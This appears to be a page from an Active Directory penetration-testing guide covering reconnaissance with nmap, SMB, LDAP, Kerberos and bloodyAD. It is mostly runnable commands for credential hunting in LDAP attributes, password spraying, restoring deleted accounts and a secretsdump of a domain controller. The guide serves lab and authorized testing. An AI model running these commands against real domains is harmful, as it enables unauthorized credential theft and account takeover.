Skip to content

01 · Reconnaissance & Enumeration

Map the attack surface before touching anything. Every open port is a hypothesis about what the network runs and what attacks become possible.

Phase overview

Recon is not a checklist; it's a hypothesis-building exercise. Each open port, DNS record, and SMB share narrows down which attack chains are viable. The Port → Attack Surface map below tells you which phase to jump to once you know what's running. Skip this phase and you'll waste hours brute-forcing a domain that has anonymous LDAP enabled.

1.1 · Network Discovery

Why this works / how it chains

Goal: find live hosts and confirm you're looking at a Windows AD environment. Port 88 (Kerberos) is the giveaway, if it's open, you've found a Domain Controller and the entire AD attack surface unlocks. Run a fast TCP sweep first, then UDP top-100 separately because UDP scans are slow and you don't want to block on them.

Live host + port discovery
netdiscover -r <IP>/24

nmap -sn <IP>/24

nmap -sC -sV -p- --min-rate 5000 -T4 -oA nmap/full <IP>

nmap -sU --top-ports 100 -oA nmap/udp <IP>

Leads to →

  • For Example
    • Port 88 open → Domain Controller confirmed → switch to AD attack mindset
    • Port 8530/8531 open → WSUS present → check Phase 10 (Fake WSUS)
    • Port 80/443 open → check /certsrv for ADCS web enrollment → Phase 5
    • Port 1433 open → MSSQL → potential xp_cmdshell + SeImpersonate path → Phase 11/12

1.1b · Port → Attack Surface Map

Why this works / how it chains

Use this as a lookup table. After your nmap scan, every open port maps to a specific later phase. Memorize the high-value ones: 88, 389, 445, 5985.

Port → next step
Port 53        → DNS        → zone transfer, domain enum, missing records = DNS spoofing
Port 88        → Kerberos   → DC confirmed, AS-REP/Kerberoast, PKINIT
Port 135       → RPC        → rpcclient enum
Port 139/445   → SMB        → shares, relay, null session
Port 389/636   → LDAP       → domain enum, description fields
Port 464       → Kpasswd    → password change
Port 3268/3269 → GC         → forest info, cross-forest enum
Port 5985/5986 → WinRM      → shell if creds found, JEA endpoints
Port 3389      → RDP        → GUI if creds
Port 80/443    → Web        → ADCS /certsrv, IIS apps
Port 1433      → MSSQL      → xp_cmdshell, linked servers, SeImpersonate
Port 8530      → WSUS HTTP  → fake WSUS attack
Port 8531      → WSUS HTTPS → fake WSUS attack (needs CA-signed cert)

Thought process: for example

  • Port 88 = DC confirmed → AD mindset.
  • Port 8530/8531 = WSUS → check if DNS record exists.
  • Port 80/443 = check /certsrv for ADCS.
  • Port 1433 = MSSQL → check SeImpersonate after login.

1.2 · DNS Enumeration

Why this works / how it chains

DNS gives you the domain name (needed for every Kerberos request) and reveals subdomains/services that nmap won't show. Zone transfers are rare in production but free wins when they work. The big payoff: if a service hostname (like wsus.domain.local) has NO DNS record and you can write to AD-integrated DNS later, you can spoof that service : see Phase 10.

DNS recon
nslookup -type=any domain.local <IP>

dig @<IP> domain.local ANY

dig @<IP> domain.local AXFR   # Zone transfer attempt

gobuster dns -d domain.local -r <IP> \
  -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt

nslookup <IP> <IP>

echo "<IP> domain.local dc01.domain.local" >> /etc/hosts

Leads to →

  • Zone transfer works → full DNS map → all hostnames
  • DC hostname found → add to /etc/hosts → Kerberos attacks now resolve correctly
  • Missing DNS records → DNS spoofing opportunity (WSUS, SCCM, etc.)
  • Multiple DCs / forests → cross-forest attack surface (Phase 8/19)

1.3 · SMB Enumeration

Why this works / how it chains

SMB is the most under-rated initial-access path. Two things to extract: signing status (signing:False = NTLM relay viable, see Phase 3.3) and share contents. Shares routinely contain GPP passwords, web.config files with DB connection strings, deployment scripts with hardcoded creds, and PowerShell history files. Always try null session and guest before assuming you need creds.

SMB enum + share crawl
# For example use nxc (former crackmapexec)

nxc smb <IP>
# Returns: hostname, domain, OS, SMB signing status

nxc smb <IP> -u '' -p '' --shares

nxc smb <IP> -u 'guest' -p '' --shares

smbmap -H <IP> -u '' -p ''

smbclient //<IP>/sharename -N

smbclient //<IP>/sharename -N -c 'recurse ON; prompt OFF; mget *'

smbmap -H <IP> -u '' -p '' -R --depth 5

Leads to →

  • config files → hardcoded credentials → Phase 4
  • scripts (.ps1/.bat) → credentials, domain info
  • web.config → DB connection strings → MSSQL access (Phase 11.4)
  • ticket/incident HTML → attack hints (WSUS endpoints, hostnames)
  • PSReadLine history → command history with credentials → Phase 7
  • SMB signing disabled → NTLM relay viable → Phase 3.3 / Phase 23

1.4 · LDAP Enumeration

Why this works / how it chains

LDAP is the domain's internal phone book. The single most valuable attribute is description; admins routinely stash temporary passwords there and forget. Always check anonymous bind first; many environments allow it. Look for gMSA accounts (msDS-GroupManagedServiceAccount), they're often readable by groups you can reach (Phase 6). Group ownership matters more than membership: an owner has implicit WriteDACL.

LDAP queries
# Anonymous bind check
ldapsearch -x -H ldap://<IP> -b "DC=domain,DC=local"

# All users + descriptions (CRITICAL - often has passwords)
ldapsearch -x -H ldap://<IP> -b "DC=domain,DC=local" \
  "(objectClass=user)" sAMAccountName description

# gMSA accounts
ldapsearch -x -H ldap://<IP> -b "DC=domain,DC=local" \
  "(objectClass=msDS-GroupManagedServiceAccount)" sAMAccountName

# With credentials
ldapsearch -x -H ldap://<IP> -b "DC=domain,DC=local" \
  -D "user@domain.local" -w "pass" "(objectClass=user)"

windapsearch -m users --dc <IP> -d domain.local
windapsearch -m privileged-users --dc <IP> -d domain.local
Hunt ALL user attributes for cleartext credentials
# Admins stash passwords in description AND in other rarely-checked attributes:
# info, comment, adminDescription, adminDisplayName, extensionAttribute1-15, etc.
# Query all at once and grep for anything that looks like a password.

ldapsearch -x \
  -H ldap://<DC_IP> \
  -D 'domain\user' -w 'pass' \
  -b 'dc=domain,dc=local' \
  '(objectClass=user)' \
  sAMAccountName description info comment adminDescription \
  adminDisplayName extensionAttribute1 extensionAttribute2 \
  | grep -v "^#\|^$\|^dn:\|^objectClass\|^ref"

# Or dump EVERYTHING per user and grep all fields at once
ldapsearch -x \
  -H ldap://<DC_IP> \
  -D 'domain\user' -w 'pass' \
  -b 'dc=domain,dc=local' \
  '(objectClass=user)' \
  | grep -v "^#\|^$\|objectClass\|^ref" \
  | grep -iP "(pass|pwd|cred|key|secret|token|secret|ironside|welcome)"

# With nxc dumps user info including description in a readable table
nxc ldap <DC_IP> -u user -p pass --users

Thought process

description is the classic find, but info is equally common and less often cleaned up. The Support HTB machine hid a cleartext password in the info attribute, querying all attributes at once with a credential grep catches this in seconds. extensionAttribute1-15 are AD's spare fields and are a common ad-hoc password store.

1.5 · RPC Enumeration

Why this works / how it chains

RPC null sessions still work surprisingly often, especially on legacy or misconfigured DCs. The crucial command is getdompwinfo; it returns the lockout threshold. You MUST run this before any password spraying or you'll lock out half the domain and get caught immediately.

rpcclient session
rpcclient -U "" -N <IP>
  > enumdomusers        # full user list
  > enumdomgroups       # all groups
  > getdompwinfo        # lockout policy - CRITICAL before spraying
  > querydispinfo       # user details
  > queryuser 0x1f4     # specific user by RID
  > lsaenumsid          # enumerate SIDs

1.6 · User Enumeration (No Creds)

Why this works / how it chains

Kerberos preauth leaks user existence, sending an AS-REQ for a non-existent user returns a different error than for a real one. kerbrute exploits this without ever attempting a login, so it's silent and doesn't lock accounts. The output (a list of valid usernames) becomes your input for ASREPRoasting and password spraying.

Username harvesting
kerbrute userenum \
  -d domain.local --dc <IP> \
  /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt \
  -o valid_users.txt

nxc smb <IP> -u '' -p '' --rid-brute 10000
impacket-lookupsid domain.local/guest@<IP> -no-pass | grep SidTypeUser

ldapsearch -x -H ldap://<IP> -b "DC=domain,DC=local" \
  "(objectClass=user)" sAMAccountName | grep sAMAccountName

RID cycling depth + one-liner user list

RID-cycling tools default to a RID ceiling of ~4000. Real domains put service/user accounts well above that (7000+, 10000+), so raise the cap or you'll miss them. The guest (or any null-auth) account is enough when SMB allows it. Pipe straight into a clean users list for spraying/roasting:

# Expand the ceiling; lookupsid takes the max RID as a positional arg
impacket-lookupsid domain.local/guest@<IP> -no-pass 20000 \
  | grep SidTypeUser | cut -d ' ' -f2 | cut -d'\' -f2 | tee users.txt
# netexec equivalent: nxc smb <IP> -u guest -p '' --rid-brute 20000

Leads to →

  • Valid user list → ASREPRoasting (Phase 3.1)
  • Valid user list → Password spraying (Phase 3.2)
  • One AS-REP-roastable account in the list → Kerberoast without creds (Phase 3.7)

1.7 · Kerberos Config (krb5.conf)

Why this works / how it chains

Every Kerberos-aware tool reads /etc/krb5.conf. Get this wrong and you'll see opaque 'KDC not found' or 'realm unknown' errors. The realm MUST be uppercase. For multi-forest engagements (Phase 8 / Phase 19), add every realm here so you can request cross-realm referrals without hand-passing -dc-ip everywhere.

Single-realm krb5.conf
# /etc/krb5.conf
cat > /etc/krb5.conf << 'EOF'
[libdefaults]
    default_realm = DOMAIN.LOCAL
    dns_lookup_realm = false
    dns_lookup_kdc = false

[realms]
    DOMAIN.LOCAL = {
        kdc = dc01.domain.local
        admin_server = dc01.domain.local
    }

[domain_realm]
    .domain.local = DOMAIN.LOCAL
    domain.local = DOMAIN.LOCAL
EOF
Multi-forest realms
# For multi-forest (PINGPONG style):
[realms]
    PING.HTB = {
        kdc = dc1.ping.htb
        admin_server = dc1.ping.htb
    }
    PONG.HTB = {
        kdc = dc2.pong.htb
        admin_server = dc2.pong.htb
    }

1.8 · High-Value Group Membership Enumeration

Why this works / how it chains

Knowing exactly which accounts are in privileged groups tells you who to target next. Remote Management Users → WinRM shell if you compromise that account. Backup OperatorsSeBackupPrivilege → read NTDS.dit. Print OperatorsSeLoadDriverPrivilege → driver load → SYSTEM. Domain Admins → game over if you own one. nxc LDAP lets you query any group by display name with creds in hand, far quicker than parsing raw ldapsearch output.

Enumerate high-value groups via nxc LDAP
# Remote Management Users → any member = WinRM target
nxc ldap <DC_IP> -u user -p pass --groups "Remote Management Users"

# Domain Admins → direct DA targets
nxc ldap <DC_IP> -u user -p pass --groups "Domain Admins"

# Backup Operators → SeBackupPrivilege → NTDS.dit read
nxc ldap <DC_IP> -u user -p pass --groups "Backup Operators"

# Print Operators → SeLoadDriverPrivilege
nxc ldap <DC_IP> -u user -p pass --groups "Print Operators"

# Account Operators → can add users to non-protected groups
nxc ldap <DC_IP> -u user -p pass --groups "Account Operators"

# Server Operators → can start/stop services, log on locally to DCs
nxc ldap <DC_IP> -u user -p pass --groups "Server Operators"

# DnsAdmins → DLL injection via DNS service → SYSTEM on DC
nxc ldap <DC_IP> -u user -p pass --groups "DnsAdmins"

# Dump ALL groups and members in one pass
nxc ldap <DC_IP> -u user -p pass --groups
Include memberOf in LDAP user query
# See group membership directly per user, useful for spotting
# overlooked privilege: a service account quietly in Backup Operators, etc.
ldapsearch -x -H ldap://<DC_IP> \
  -D 'user@domain.local' -w 'pass' \
  -b 'DC=domain,DC=local' \
  '(objectClass=user)' sAMAccountName memberOf description \
  2>&1 | grep -E "sAMAccountName:|memberOf:|description:"

Leads to →

  • Account in Remote Management Users → WinRM shell after compromise → Phase 4
  • Account in Backup OperatorsSeBackupPrivilege → NTDS.dit copy → Phase 12
  • Account in DnsAdmins → DNS DLL injection → Phase 12
  • Service account in Remote Management Users → target for kerberoasting + WinRM → Phase 3.3 / Phase 4

1.9 · Writable Object Enumeration (bloodyAD)

Why this works / how it chains

get writable maps every AD object your current account can write to, including DACL writes, property writes, and child-object creation. This is faster than parsing BloodHound for a single account and works over LDAP with NTLM or Kerberos, critical when LDAP signing is enforced and older tools fail. The two entries worth acting on immediately: CREATE_CHILD on an OU means you can add objects there; WRITE on another user or computer means ACL abuse (GenericWrite, WriteDACL, etc.).

Check what your current account can write
bloodyad --host <DC_IP> -d domain.local -u 'user' -p 'pass' get writable
Interpret key output lines
# CREATE_CHILD on an OU  → you can create new objects (users, computers, dMSAs)
# WRITE on a user CN     → GenericWrite → SPN write (kerberoast) or password reset
# WRITE on CN=Deleted Objects → AD Recycle Bin write → see §1.11
# CREATE_CHILD on DNS zone → spoof DNS records → NTLM relay / WSUS
Check writable for a different account (after lateral move)
bloodyad --host <DC_IP> -d domain.local -u 'newuser' -p 'pass' get writable

# Kerberos auth when NTLM is blocked
bloodyad --host <DC_IP> -d domain.local -u 'user' -p 'pass' -k get writable

Thought process

Run get writable immediately after compromising any new account; it's a 5-second LDAP query that replaces hours of manual ACL parsing. WRITE on any user CN is the most directly exploitable result: set an SPN and kerberoast, or force-reset the password if you have User-Force-Change-Password right.

Leads to →

  • WRITE on user → SPN write + kerberoast (Phase 3.3) or password reset (Phase 4.3)
  • CREATE_CHILD on OU → add dMSA / computer objects → BadSuccessor (Phase 4)
  • WRITE on CN=Deleted Objects → restore tombstoned accounts → §1.11
  • CREATE_CHILD on DNS zone → DNS spoofing → NTLM relay (Phase 23)

1.10 · BloodHound Data Collection (bloodyAD as Fallback)

Why this works / how it chains

bloodhound-python and the SharpHound binary both fail or produce incomplete data when LDAP signing is enforced and channel binding is required (Server 2025 with the default hardened config). bloodyad get bloodhound speaks the same LDAP protocol path but handles signing and channel binding natively; it produces the same .zip that you drag into the BloodHound GUI.

Collect BloodHound data via bloodyAD
bloodyad --host <DC_IP> -d domain.local -u 'user' -p 'pass' get bloodhound
# Output: <timestamp>_Bloodhound.zip  →  drag into BloodHound GUI

# With Kerberos (when NTLM relay is blocked)
export KRB5CCNAME=user.ccache
bloodyad --host dc01.domain.local -d domain.local -u 'user' -k get bloodhound
bloodhound-python (use when signing is NOT enforced)
bloodhound-python -u user -p pass -d domain.local -ns <DC_IP> -c All
bloodhound-python -u user -p pass -d domain.local -ns <DC_IP> -c All --zip
Read-only LDAP queries to pull the same data manually
# All users with their group memberships
nxc ldap <DC_IP> -u user -p pass --users
nxc ldap <DC_IP> -u user -p pass --groups
nxc ldap <DC_IP> -u user -p pass --computers

Thought process

After loading the BloodHound zip, the first queries to run: Shortest path to Domain Admins, Find all users with DCSync rights, Find computers where Domain Users can RDP. Then search the specific account you own and check Outbound Object Control that shows every ACL edge you can immediately exploit.

Leads to →

  • Outbound control edges → ACL abuse chain → Phase 14 (bloodyAD reference)
  • GenericWrite over service account → kerberoast → Phase 3.3
  • WriteDACL / Owns → grant yourself DCSync → Phase 13

1.11 · AD Recycle Bin & Deleted Objects Enumeration

Why this works / how it chains

When get writable shows WRITE on CN=Deleted Objects, check what's in there. Deleted user accounts retain their original attributes, group memberships, descriptions, SPNs, and frequently still have their old password set. Restoring a tombstoned account and then password-spraying it with the same company-pattern password is a realistic low-noise escalation path. The key LDAP controls (1.2.840.113556.1.4.2064 + .2065) tell the server to include deleted and recycled objects in search results.

Check if AD Recycle Bin is enabled
# Must return isRecycleBinEnabled: TRUE to restore, not just delete
bloodyad --host <DC_IP> -d domain.local -u 'user' -p 'pass' \
  get object 'CN=Optional Features,CN=Directory Service,CN=Windows NT,CN=Services,CN=Configuration,DC=domain,DC=local' \
  --attr msDS-EnabledFeature
Search for deleted user objects
bloodyad -H <DC_IP> -d domain.local -u user -p 'pass' \
  get search \
  --base 'CN=Deleted Objects,DC=domain,DC=local' \
  --filter '(objectClass=user)' \
  --attr sAMAccountName,cn,description,lastKnownParent,msDS-LastKnownRDN \
  -c 1.2.840.113556.1.4.2064 -c 1.2.840.113556.1.4.2065
Same query with raw ldapsearch
ldapsearch -x -H ldap://<DC_IP> \
  -D 'user@domain.local' -w 'pass' \
  -b 'CN=Deleted Objects,DC=domain,DC=local' \
  -E '!1.2.840.113556.1.4.2064' \
  '(objectClass=user)' \
  sAMAccountName cn description lastKnownParent msDS-LastKnownRDN
Restore a deleted account (requires WRITE on Deleted Objects)
bloodyad -H <DC_IP> -d domain.local -u user -p 'pass' \
  set restore 'deleted.username'

# Verify it's back
bloodyad -H <DC_IP> -d domain.local -u user -p 'pass' \
  get object 'deleted.username'
After restore, spray the recovered account
# Company naming pattern is common: Season+Year!
nxc smb <DC_IP> -u deleted.username -p 'Company2024!' --continue-on-success
nxc smb <DC_IP> -u deleted.username -p 'Welcome2024!' --continue-on-success

OPSEC

Restoring a deleted object writes to AD and generates event 4662 (object access) and 5136 (directory object modified). If stealth matters, enumerate the deleted object attributes first via get search before deciding whether to restore.

Leads to →

  • Restored account has DevDrop/share write → malicious payload delivery → Phase 3
  • Restored account reuses a password → new foothold → Phase 4
  • Restored account was a service account with SPNs → kerberoast → Phase 3.3

1.12 · User List Extraction & Spray Preparation

Why this works / how it chains

Password spraying requires a clean users.txt. Raw nxc / ldapsearch output includes timestamps and column noise; piping through awk or grep extracts just the usernames. Always pull the domain password policy before spraying; one wrong attempt per account per lockout window is the rule. Violate the lockout threshold and you'll disable accounts across the domain.

Extract users from nxc SMB output
# nxc --users output format: <tool> <IP> <port> <hostname> <username> <last-pw-set> <badpw> <desc>
nxc smb <DC_IP> -u user -p pass --users > raw_users.txt

# Extract column 5 (username): skip the header line
awk 'NR>4 { print $5 }' raw_users.txt > users.txt

# Alternatively: grep for valid user lines then cut field
grep '\[.\]' raw_users.txt | awk '{ print $5 }' > users.txt
Extract users from ldapsearch output
ldapsearch -x -H ldap://<DC_IP> -D 'user@domain.local' -w 'pass' \
  -b 'DC=domain,DC=local' '(objectClass=user)' sAMAccountName \
  | grep sAMAccountName | awk '{print $2}' > users.txt
Check password policy BEFORE spraying
# Option 1: nxc
nxc smb <DC_IP> -u user -p pass --pass-pol

# Option 2: rpcclient
rpcclient -U "user%pass" <DC_IP> -c getdompwinfo
# Key fields: min password length, lockout threshold, lockout duration

# Option 3: ldapsearch
ldapsearch -x -H ldap://<DC_IP> -D 'user@domain.local' -w 'pass' \
  -b 'DC=domain,DC=local' '(objectClass=domain)' \
  lockoutThreshold lockoutDuration minPwdLength pwdHistoryLength
Spray safely with --continue-on-success
# --continue-on-success keeps going even after a hit (don't stop at first valid cred)
nxc smb <DC_IP> -u users.txt -p 'CompanyName2024!' --continue-on-success

# Spray multiple passwords, add delay between rounds to stay under lockout window
nxc smb <DC_IP> -u users.txt -p passwords.txt --no-bruteforce --continue-on-success

# Spray over WinRM (finds accounts with WinRM access directly)
nxc winrm <DC_IP> -u users.txt -p 'CompanyName2024!'

# Spray over Kerberos (quieter, no NTLM logs on the DC)
kerbrute passwordspray -d domain.local --dc <DC_IP> users.txt 'CompanyName2024!'
Common company password patterns to try
# Seasonal: Summer2024!, Winter2024!, Spring2024!, Fall2024!
# Company name: Acme2024!, AcmeIT!, Acme@2024
# Welcome patterns: Welcome1, Welcome2024!, P@ssw0rd, Password1!
# HTB/lab common: <MachineName>2024!, <domain>2024!

Thought process

Spray one password per round, wait the lockout observation window (typically 30 min), then spray again. Never spray all passwords against all users in one shot that's guaranteed lockouts. If lockoutThreshold = 0, the domain has no lockout and you can spray freely, but log noise still matters.

Leads to →

  • Valid creds found → Phase 4 (post-exploitation with creds)
  • (Pwn3d!) in nxc output → local admin on that host → Phase 4 / Phase 11
  • WinRM spray hit → immediate shell via evil-winrm → Phase 4

1.13 · Hardened DC Tooling Reference (Server 2025 / LDAP Signing + Channel Binding)

Why this matters

Windows Server 2025 ships with LDAP signing required (LDAPServerIntegrity = 2) and LDAPS channel binding enforced by default; a significant shift from older Windows Server versions. This breaks many commonly-used offensive tools that were written before these controls were the norm. Knowing which tool to reach for first avoids wasting time fighting the wrong wall.

Hardening indicators from nmap / nxc

nmap: smb2-security-mode → "Message signing enabled and required"
nxc smb: (signing:True)
nmap: clock-skew: 6h59m59s  ← Kerberos clock skew is large; use faketime
If you see signing:True on SMB AND LDAP signing is also required, NTLM relay to SMB and LDAP is blocked. Pivot to HTTP targets (ADCS ESC8) and use Kerberos-native tools.

Tool compatibility matrix: Server 2025 hardened DC
Tool                    | LDAP signing OK? | Channel binding OK? | Notes
------------------------|-----------------|---------------------|------
bloodyAD                | ✅              | ✅                  | Best all-rounder; handles both natively
nxc ldap (--use-kcache) | ✅              | ✅                  | Use with Kerberos ccache
nxc smb                 | ✅              | n/a                 | SMB still works for auth / enum
impacket (most tools)   | ✅              | ⚠️ partial          | Newer versions handle it; older ones choke on channel binding
bloodhound-python       | ❌              | ❌                  | Fails on channel-binding-enforced DCs; use bloodyAD get bloodhound
certipy                 | ❌              | ❌                  | May fail; try -ldap-scheme ldaps -ns flags
PowerView               | ❌              | ❌                  | .NET LDAP library doesn't handle channel binding
ldapdomaindump          | ❌              | ❌                  | Old library; fails silently on strict DCs
evil-winrm (WinRM)      | n/a             | n/a                 | WinRM is unaffected; use freely
Quick test; does your tool support the DC's posture?
# Test LDAP signing/binding posture
nxc ldap <DC_IP> -u user -p pass                         # should succeed if creds good
bloodyad --host <DC_IP> -d domain.local -u user -p pass get object 'DC=domain,DC=local'

# If bloodyAD works but bloodhound-python fails → channel binding is enforced
bloodyad --host <DC_IP> -d domain.local -u user -p pass get bloodhound
# → produces the same .zip as bloodhound-python
Kerberos-first workflow for hardened environments
# 1. Get a TGT (standard password auth to KDC)
impacket-getTGT domain.local/user:'pass' -dc-ip <DC_IP>
export KRB5CCNAME=user.ccache

# 2. Use Kerberos for everything from here
bloodyad --host dc01.domain.local -d domain.local -u user -k get writable
nxc ldap dc01.domain.local -k --use-kcache --groups "Domain Admins"
nxc ldap dc01.domain.local -k --use-kcache -M badsuccessor -o ACCOUNT=target
impacket-secretsdump -k -no-pass domain.local/administrator@dc01.domain.local

# 3. Large clock skew? Wrap with faketime
# nmap shows "clock-skew: 6h59m59s" → add +7h
faketime -f "+7h" bloodyad --host dc01.domain.local ...
faketime -f "+7h" impacket-getTGT ...

The rule of thumb

On a hardened Server 2025 DC: bloodyAD first, nxc-Kerberos second, everything else third. If bloodyAD and nxc-over-Kerberos both work, you have everything you need. Don't waste time trying to fix LDAP signing errors in older tools; reach for the ones that were built to handle it.

Leads to →

  • Kerberos ccache in hand → all impacket tools work with -k -no-pass
  • bloodyAD / nxc both working → full enumeration surface available despite hardening
  • BadSuccessor check available via nxc → Phase 12.8 if Server 2025 confirmed